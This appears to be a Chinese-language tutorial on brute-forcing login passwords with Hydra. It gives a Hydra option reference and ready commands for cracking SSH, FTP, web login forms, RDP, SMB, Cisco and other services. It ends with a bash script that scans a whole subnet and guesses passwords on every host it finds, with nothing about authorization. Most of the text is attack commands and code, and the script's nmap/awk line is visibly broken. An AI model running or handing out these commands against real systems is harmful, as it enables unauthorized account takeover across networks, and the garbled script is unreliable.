破解环境:Kali 2021.1

使用namp扫描SSH端口开放的主机

nmap -p 22 -n --open 192.168.1.0/24 | grep 192 |awk '{print $5}'

使用Hydra暴力破解

hydra -l root -p ssh_password 192.168.1.103 ssh  -vV 
#其中-l 指定用户名,-p指定密码,-vV显示详细的执行过程。
hydra -L user.txt -P passwd.txt 192.168.1.103 ssh  -t 32 -vV 
#其中-L指定用户名字典文件,-P指定密码字典文件,-t指定运行的线程数。
hydra -L user.txt -P passwd.txt 192.168.1.103 ssh -s 222 -t 32 -vV 
#其中-s指定端口。

暴力破解:
 hydra(九头蛇)
  参数:
    -R      继续从上一次进度接着破解
    -S      大写,采用SSL链接
    -s      小写,可通过这个参数指定非默认端口
    -l      指定破解的用户,对特定用户破解
    -L      指定用户名字典
    -p      小写,指定密码破解,少用,一般是采用密码字典
    -P      大写,指定密码字典
    -e      可选选项,n:空密码试探,s:使用指定用户和密码试探
    -C      使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
    -M      指定目标列表文件一行一条
    -f      在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
    -t      同时运行的线程数,默认为16
    -w      设置最大超时的时间,单位秒,默认是30s
    -q      不要打印有关连接错误的消息
    -o      指定将结果输出到文件
    -v /-V      显示详细过程
   
  各协议的具体命令:
    格式+示例:
    1、破解ssh:
    hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh
    hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
    2、破解ftp:
    hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV
    hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
    3、get方式提交,破解web登录:
    hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
    4、post方式提交,破解web登录:
    hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
    hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.1.1 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
    参数说明:
    -t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 
    192.168.1.1目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示
    5、破解https:
    hydra -m /index.php -l muts -P pass.txt 192.168.1.1 https
    6、破解teamspeak:
    hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak
    7、破解cisco:
    hydra -P pass.txt 192.168.1.1 cisco
    hydra -m cloud -P pass.txt 192.168.1.1 cisco-enable
    8、破解smb:
    hydra -L 用户名字典 -P pass.txt 192.168.1.1 smb
    9、破解pop3:
    hydra -l muts -P pass.txt my.pop3.mail pop3
    10、破解rdp:
    hydra ip rdp -l administrator -P pass.txt -V
    11、破解http-proxy:
    hydra -l admin -P pass.txt http-proxy://192.168.1.1

使用Hydra配合脚本批量暴力破解

由于hydra一次只能对一个IP进行破解,因此,在shell中写了一个循环,hydra一次任务结束后,立即进行下一个IP的破解,直到将ssh-output.txt文件中IP遍历完为止。SH脚本代码如下所示:
vim hydra.sh

#!/bin/bash
random=$RANDOM

if [ $# -lt 4 ] 
then
   echo "usage: ./hydra-ssh.sh -u root -p ./passwd.txt -s 22 -x ssh -f ./iplist.txt"
   echo "usage: ./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -l 192.168.9.0/24"
   exit 1
fi

while [ -n "$1" ]  
do  
  case "$1" in    
    -u)  
        user=$2
        shift  
        ;;  
    -p)  
        passfile=$2
        shift  
        ;;  
    -s)  
        port=$2
        shift  
        ;; 
    -x)  
        term=$2
        shift  
        ;; 
    -f)  
        cat $2 > /tmp/IPaddress-output-$random.txt
        shift  
        ;;  
    -l)  
        nmap -vv -n -sS -sU -p$port $2  | grep "Discovered open port" | awk 'print $6'}  ( awk -F/ {'print $1')  > /tmp/IPaddress-output-$random.txt 
        shift  
        ;; 
    *)  
        echo "$1 is not an option"  
        echo "usage: ./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -f ./iplist.txt"
        echo "usage: ./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -l 192.168.9.0/24"
        exit 1
        ;;  
  esac  
  shift  
done

echo "-----------Port Scan Finished-----------" >> ./Result-hydra.txt

chmod 666 /tmp/IPaddress-output-$random.txt

cat /tmp/IPaddress-output-$random.txt | while read line
do 
    echo "Current Task: ${line}" >> ./Result-hydra.txt
    hydra -q -l $user -P $passfile -t 4 -vV -s $port $line $term | grep "host:" >> ./Result-hydra.txt
done

echo "-------Password Guessing Finished-------" >> ./Result-hydra.txt

rm -rf /tmp/IPaddress-output-$random.txt
cat ./Result-hydra.txt | grep "host:"
运行程序
./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -f ./iplist.txt 
#对文件中的IP进行破解,-u可指定用户名,-x 指定破解什么(ssh/rdp),-s可指定端口号。
./hydra.sh -u root -p ./passwd.txt -s 22 -x ssh -l 192.168.1.0/24 
#对网段中的IP进行破解,-u可指定用户名,-x 指定破解什么(ssh/rdp),-s可指定端口号。